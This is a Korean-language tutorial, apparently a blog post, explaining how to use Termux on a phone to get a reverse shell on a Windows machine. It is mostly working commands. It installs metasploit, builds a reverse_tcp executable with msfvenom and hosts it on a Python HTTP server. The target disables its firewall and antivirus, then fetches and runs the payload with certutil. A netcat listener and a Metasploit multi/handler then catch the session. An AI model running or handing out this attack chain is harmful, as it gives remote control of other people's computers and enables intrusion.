Termux를 이용한 Windows 대상 리버스 셸 연결 실전 가이드

핵심 개념: Kali Linux에서의 작업 방식과 동일하며, 스마트폰(Termux)을 공격자 시스템으로 사용하여 Windows 대상 시스템이 능동적으로 연결하도록 유도합니다. 루트 권한 없이도 수행 가능합니다.

사전 준비

  1. 스마트폰과 Windows 대상 시스템이 동일한 WiFi 네트워크에 연결되어 있어야 합니다 (동일한 서브넷 필요).
  2. Termux의 로컬 네트워크 IP 주소를 확인하고 기록해둡니다 (이후 명령어에서 스마트폰IP를 대체).
# wlan0 인터페이스의 inet 주소를 찾습니다 (예: 192.168.1.6)
ifconfig wlan0  
  1. 대상 Windows 시스템의 방화벽과 실시간 보호 기능을 일시적으로 비활성화합니다 (기존 Kali 사용법과 동일).

1단계: Termux 환경 설정 및 도구 설치

# 1. 국내 미러 서버로 변경 (다운로드 속도 향상)
sed -i 's@^\(deb.*stable main\)$@#\1\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/apt/termux-main stable main@' $PREFIX/etc/apt/sources.list
apt update && apt upgrade -y

# 2. 핵심 도구 설치 (nc, python3, msfvenom)
apt install -y netcat-openbsd python3 metasploit  # metasploit 패키지에 msfvenom 포함

2단계: 방법 1 - 간단한 NC 리버스 연결 (우선 테스트 권장)

절차 1: Termux에서 NC 리스너 시작 (대상 연결 대기)

# 1337 포트에서 리스닝 (Kali에서 사용한 포트와 동일)
nc -lvp 1337

절차 2: Termux에서 NC 리버스 셸 페이로드 생성

새로운 Termux 터미널을 열고, 리스너가 실행 중인 터미널은 유지합니다.

# Windows용 리버스 TCP 셸 페이로드 생성, IP는 스마트폰의 로컬 IP
msfvenom -p windows/x64/shell/reverse_tcp LHOST=스마트폰IP LPORT=1337 -f exe -o /data/data/com.termux/files/home/shell_termux.exe

절차 3: Termux에서 HTTP 서버 시작 (파일 전송용)

# 스마트폰 저장소 접근 권한 설정 (최초 실행 시 권한 요청, 허용 필요)
termux-setup-storage

# 페이로드를 다운로드 디렉토리로 복사
cp /data/data/com.termux/files/home/shell_termux.exe /sdcard/Download/

# 다운로드 디렉토리로 이동하여 HTTP 서버 시작 (포트 9000)
cd /sdcard/Download
python3 -m http.server 9000

절차 4: Windows 대상 시스템에서 페이로드 다운로드 및 실행

대상 Windows 시스템의 관리자 CMD 창에서 다음 명령어를 실행합니다.

cd /d C:\Windows\Temp

# 페이로드 다운로드, 주소는 스마트폰IP:9000 형식
certutil -urlcache -split -f http://스마트폰IP:9000/shell_termux.exe shell_termux.exe

# 페이로드 실행
shell_termux.exe

성공 확인

Termux의 NC 리스너 터미널에 대상 시스템의 CMD 프롬프트가 표시됩니다. Kali 사용 시와 동일한 결과입니다.

3단계: 방법 2 - Termux에서 MSF를 사용한 세션 획득

절차 1: Termux에서 MSF 리스너 시작

# 새로운 Termux 터미널 열기
msfconsole -q

# 리스너 설정 (페이로드와 일치해야 함)
use exploit/multi/handler
set PAYLOAD windows/x64/shell/reverse_tcp
set LHOST 스마트폰IP
set LPORT 1337
set ExitOnSession false
run -j

절차 2: 대상 시스템에서 페이로드 재실행

대상 Windows CMD 창에서 다음 명령어를 다시 실행합니다.

C:\Windows\Temp\shell_termux.exe

성공 확인

Termux의 MSF 터미널에 세션 로그가 표시됩니다. sessions -l 명령어로 세션 목록을 확인하고, sessions -i 1 명령어로 대상 시스템의 CMD에 접근할 수 있습니다.

주의사항 (Termux 특화)

  • 포트 제한: 루트 권한이 없으면 1024 미만의 포트를 바인딩할 수 없으므로, 1337, 9000 등의 높은 번호의 포트를 사용합니다.
  • 경로 문제: Termux의 기본 디렉토리는 /data/data/com.termux/files/home/입니다. HTTP 서버를 통해 접근하려면 파일을 /sdcard/ 디렉토리로 복사해야 합니다.
  • 네트워크 문제: 스마트폰과 대상 시스템이 동일한 WiFi에 연결되어 있어야 합니다. 스마트폰이 핫스팟 모드인 경우 네트워크 세그먼트가 변경되어 통신이 불가능할 수 있습니다.
  • 도구 설치 실패 시: metasploit 설치가 실패하면 pkg install -y wget curl을 먼저 실행한 후 다시 시도합니다.

태그: Termux Windows 리버스셸 MSF Metasploit

5월 31일 23:03에 게시됨